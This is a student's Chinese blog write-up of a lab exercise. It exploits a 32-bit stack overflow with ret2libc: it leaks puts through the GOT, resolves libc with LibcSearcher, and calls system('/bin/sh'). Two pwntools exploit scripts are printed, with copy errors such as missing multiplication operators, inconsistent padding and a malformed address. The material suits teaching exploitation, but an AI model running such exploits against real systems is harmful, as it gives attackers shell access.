菜鸟实验三

实验原理与目的

此次的实验稍微加大了难度,不过可难不倒我这个小机灵鬼。专业大神较多,多问多学最终还是做了出来,继续鼓励我吧!!!这次实验如果不能直接找到system和bin/sh的话,上次实验的方法就行不通了。我们这次需要绕过保护,本次实验就是通过泄露某个libc中的内容在内存中的实际地址,通过计算偏移量来得到system和bin/sh的地址,然后利用返回指令,最终才能getshell。

实验步骤

1、参考互联网上的博客咯!具体地址在https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop/#3
运用例三的步骤,先检查文件的保护。
![Alt](https://avatar.csdn.net/7/7/B/1_ralf_hx163com.jpg#pic_center在这里插入图片描述
可以看出,源程序仍旧开启了堆栈不可执行保护。进而查看源码,发现程序的 bug 仍然是栈溢出
2、那么我们如何得到 system 函数的地址呢?这里就主要利用了两个知识点,system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。而 libc 在 github 上有人进行收集,如下
https://github.com/niklasb/libc-database
所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system 函数的地址。
那么如何得到 libc 中的某个函数的地址呢?我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。
我们自然可以根据上面的步骤先得到 libc,之后在程序中查询偏移,然后再次获取 system 地址,但这样手工操作次数太多,有点麻烦,这里给出一个 libc 的利用工具,具体细节请参考 readme
https://github.com/lieanu/LibcSearcher
此外,在得到 libc 之后,其实 libc 中也是有 /bin/sh 字符串的,所以我们可以一起获得 /bin/sh 字符串的地址。
这里我们泄露 __libc_start_main 的地址,这是因为它是程序最初被执行的地方。基本利用思路如下
泄露 __libc_start_main 地址
获取 libc 版本
获取 system 地址与 /bin/sh 的地址
再次执行源程序
触发栈溢出执行 system(‘/bin/sh’)
查看源码记下主函数地址0x080484FD
3、来看一下脚本
from LibcSearcher import *
from pwn import *
context.log_level=‘debug’
context.terminal=[‘gnome-terminal’,’-x’,‘sh’,’-c’]
p=process(’./pwn’)
elf= ELF(’./pwn’)
main=0x080484FD
payload=‘a’(0x6c+4)+p32(elf.plt[‘puts’])+p32(main)+p32(elf.got[‘puts’])
p.recv()
p.sendline(payload)
puts=u32(p.recv(4))
print(‘puts’,hex(puts))
p.interactive()
运行结果

然后计算偏移量来得到通过计算偏移量来得到system和bin_sh的地址
在这里插入图片描述
得到system和bin_sh的实际地址
system为0xfd88200
binsh为0xf7ec9Dcf
4、现在我们继续调试,程序再次执行main函数,所以需要再构造一个payload,将system与bin_sh的地址加在ROP链中,此时栈的状态发生了改变,需要重新计算一下需要填充的字符数,payload构造为payload=‘a’
(0x64+4)+p32(system)+p32(0x61616161)+p32(bin_sh)
from LibcSearcher import *
from pwn import *
context.log_level=‘debug’
context.terminal=[‘gnome-terminal’,’-x’,‘sh’,’-c’]

p=process(’./pwn’)
elf= ELF(’./pwn’)
main=0x080484FD
payload=‘a’(0x6c+4)+p32(elf.plt[‘puts’])+p32(main)+p32(elf.got[‘puts’])
p.recv()
p.sendline(payload)
puts=u32(p.recv(4))
print(‘puts’,hex(puts))
libc =LibcSearcher(‘puts’,puts)
libcbase=puts-libc.dump(‘puts’)
system=libcbase+libc.dump(‘system’)
bin_sh=libcbase+libc.dump(‘str_bin_sh’)
print(‘system’,hex(system))
print(‘binsh’,hex(bin_sh))
payload=‘a’
(0x64+4)+p32(system)+p32(0xdeadbeef)+p32(bin_sh)
p.sendline(payload)
p.interactive()
看一下执行后的效果
在这里插入图片描述

总结

这次实验有点难呀,配置环境也不会配还是别人教我的。然后呢在泄露libc时也屡次出现错误,我要加油了,要不然又要拖专业的后腿了。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值